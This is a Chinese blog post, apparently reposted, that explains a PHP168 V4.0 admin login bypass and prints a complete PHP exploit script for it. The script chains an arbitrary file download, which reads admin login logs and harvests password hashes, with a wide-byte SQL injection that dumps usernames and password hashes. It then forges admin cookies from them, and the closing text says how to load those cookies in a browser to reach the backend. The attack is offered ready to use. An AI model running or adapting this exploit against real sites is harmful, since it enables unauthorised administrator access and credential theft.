漏洞的原理:
具体的请看admin/global.php这个文件里面关于用户登陆部分的代码,这里截取一下。。。
/*用户登录*/
if( $_POST[loginname] && $_POST[loginpwd] )
{
if( $webdb[yzImgAdminLogin] ){
if(!get_cookie("yzImgNum")||get_cookie("yzImgNum")!=$yzimg){
if(!strstr($WEBURL,$webdb[www_url])){
echo "<CENTER>网址有误,请重新登录</CENTER><META HTTP-EQUIV=REFRESH CONTENT='1;URL=$webdb[admin_url]'>";
exit;
}
showmsg("<A HREF=?>验证码不符合</A>");
}else{
set_cookie("yzImgNum","");
}
}
$rs=$db->get_one("SELECT M.$TB[username] AS username,M.$TB[password] AS password,D.* FROM $TB[table] M LEFT JOIN {$pre}memberdata D ON M.$TB[uid]=D.uid WHERE M.$TB[username]='$_POST[loginname]' ");
if(!$rs){
login_logs($_POST[loginname],$_POST[loginpwd]);
setcookie("Admin",'',0,"/");
eval(base64_decode("Y$webdb[_Notice]"));
showmsg("<A HREF=?>用户不存在</A>");
}elseif( pwd_md5($_POST[loginpwd]) != $rs[password] ){
login_logs($_POST[loginname],$_POST[loginpwd]);
setcookie("Admin",'',0,"/");
eval(base64_decode("Y$webdb[_Notice]"));
showmsg("<A HREF=?>密码不正确</A>");
}elseif(!$rs[uid]){
Add_memberdata($_POST[loginname]);
}else{
login_logs($_POST[loginname],md5($_POST[loginpwd]));
$_COOKIE[Admin]="$rs[uid]\t".mymd5($rs[password]);
//@include(PHP168_PATH."cache/warn.php");
setcookie("Admin",$_COOKIE[Admin],0,"/");
}
}
注意代码最后一行setcookie部分,使用的是用户的uid和经过mymd5函数加密以后的密码拼接出来的字符串,既然我已经拿到了用户的hash值,那么直接利用这个函数来生成客户端cookie即可绕过验证,下面是实现自动生成cookie的exp。。。
<?php
/**
* Created by 独自等待
* Date: 2014/9/17
* Time: 10:16
* Name: php168_cookie.php
* 独自等待博客:http://www.waitalone.cn/
*/
print_r('
+------------------------------------------------------+
PHP168 V4.0 cookie欺骗 EXP
Site:http://www.waitalone.cn/
Exploit BY: 独自等待
Time:2014-09-17
+------------------------------------------------------+
');
if ($argc < 3) {
print_r('
+------------------------------------------------------+
Useage: php ' . $argv[0] . ' host path
Host: target server (ip/hostname)
Path: path of php168
Example: php ' . $argv[0] . ' localhost /php168
+------------------------------------------------------+
');
exit;
}
error_reporting(0);
$host = $argv[1];
$path = $argv[2];
$url = "http://$host$path";
//统计时间
$start_time = func_time();
get_hash($url);
$sql_test = 'select 0x70687031363873716c';
$url_test = $url . "/hack.php?fid=1&fromurl=%bf',(SELECT%201%20FROM%20(select%20count(*),concat(floor(rand(0)*2),(" . urlencode($sql_test) . "))a%20from%20information_schema.tables%20group%20by%20a)b))%23&hack=count&nowurl=$url/bencandy.php?fid-10-id-18444-page-1.htm&screen_size=1920*1080&windows_lang=undefined";
$users = array();
$count = 5; //设置默认显示的用户数,防止sql注入用户数过多的问题
if (preg_match('/php168sql/i', file_get_contents($url_test))) {
echo "\n正在利用SQL注入获取管理员信息并进行cookie伪造,请稍候……\n\n";
$sql_ver = 'select concat(0x7e,user(),0x7e)';
echo '用户名:' . sql_get($sql_ver);
$sql_db = 'select concat(0x7e,database(),0x7e)';
echo '数据库:' . sql_get($sql_db);
$sql_count = "SELECT concat(0x7e,count(*),0x7e) FROM p8_members";
$user_count = sql_get($sql_count);
echo "程序默认显示用户数(可自行更改):$count" . "共有用户数:" . $user_count . PHP_EOL;
if ($user_count < $count) $count = $user_count;
for ($i = 0; $i < $count; $i++) {
$sql_user = "SELECT concat(0x7e,uid,0x3a,username,0x3a,password,0x7e) FROM p8_members LIMIT $i,1";
echo '管理员' . ($i + 1) . '-->' . sql_get($sql_user);
$users[] = sql_get($sql_user);
}
mk_cookie($users);
} else {
exit('报告大爷,不存在SQL注入漏洞,您可以秒下一个!');
}
function mk_cookie($users)
{
global $url;
echo "\n请复制相应的cookie信息进行伪造,以下cookie保存在cookie.txt文件中\n\n";
if (is_array($users)) {
fwrite(fopen('cookie.txt', 'w'), $url . PHP_EOL);
foreach ($users as $user) {
list($uid, $username, $password) = explode(':', $user);
$cookie = 'Admin=' . urlencode("$uid\t" . mymd5(trim($password)));
echo $cookie . PHP_EOL;
fwrite(fopen('cookie.txt', 'a+'), $cookie . PHP_EOL);
}
}
}
function get_hash($url)
{
$url = $url . '/job.php?job=download&url=' . base64_encode($url . '/cache/adminlogin_logs.php');
$content = file_get_contents($url);
//echo $content;
if ($content != '') {
if (preg_match_all('/"(.*?)\s+(\w{32})/i', $content, $hash)) {
echo '正在从登陆日志中获取管理员Hash,共找到管理员' . count(array_unique($hash[1])) . "位:\n\n";
foreach (array_unique($hash[1]) as $key => $values) {
echo '管理员账号:' . $values . "\t密码:" . $hash[2][$key] . PHP_EOL;
echo "\n请尝试使用如下cookie登陆,可更改admin=后面的数字1为2,3等\n\n";
echo 'Admin=' . urlencode("1\t" . mymd5(trim($hash[2][$key]))) . PHP_EOL;
}
} else {
echo '报告大爷,日志中没有成功登陆的日志或者已经加密!' . PHP_EOL;
}
} else {
echo '报告大爷,任意下载漏洞不存在,获取hash失败!' . PHP_EOL;
}
}
function sql_get($sql)
{
global $url;
$mkurl = $url . "/hack.php?fid=1&fromurl=%bf',(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(" . urlencode($sql) . "))a+from+information_schema.tables+group+by+a)b))%23&hack=count&nowurl=$url/bencandy.php?fid-10-id-18444-page-1.htm&screen_size=1920*1080&windows_lang=undefined";
$content = file_get_contents($mkurl);
//echo $content;
if ($content != false) {
if (preg_match('/~(.*?)~/i', $content, $result)) {
return $result[1] . PHP_EOL;
} else {
return '未获取到内容,请检查!' . PHP_EOL;
}
}
}
function mymd5($string, $action = "EN")
{
$secret_string = '5*j,.^&;?.%#@!';
if ($string == "") return "";
if ($action == "EN") {
$md5code = substr(md5($string), 8, 10);
} else {
$md5code = substr($string, -10);
$string = substr($string, 0, strlen($string) - 10);
}
$key = md5($md5code . $secret_string);
//echo $key;
$string = ($action == "EN" ? $string : base64_decode($string));
$len = strlen($key);
$code = "";
for ($i = 0; $i < strlen($string); $i++) {
$k = $i % $len;
$code .= $string[$i] ^ $key[$k];
}
$code = ($action == "DE" ? (substr(md5($code), 8, 10) == $md5code ? $code : NULL) : base64_encode($code) . "$md5code");
return $code;
}
//时间统计函数
function func_time()
{
list($microsec, $sec) = explode(' ', microtime());
return $microsec + $sec;
}
echo "\n脚本执行时间:" . round((func_time() - $start_time), 4) . '秒';
为了提高利用率,这里使用了2个漏洞,一个是php168的任意下载漏洞,一个是php168的一处注入漏洞。。
利用任意下载漏洞可以获取用户成功登陆以后的用户名和hash值,但是没有uid 所以这里uid就需要自己手工来测试了,虽然可以使用for循环来自动生成,然后再利用curl提交 但是这样的话这个exp就比较大了,所以我就偷懒了,没有实现这部分的代码,如果感兴趣的可以自己拿去改改。。
SQL注入漏洞利用的是一处宽字节注入漏洞,可以得到管理员的uid,用户名和密码,在实际使用环境中,请以sql注入生成的cookie信息为准。
使用firefox的一个插件,直接插入cookie信息以后即可直接登陆后台。。。。
转载于:https://blog.51cto.com/sshack/1759805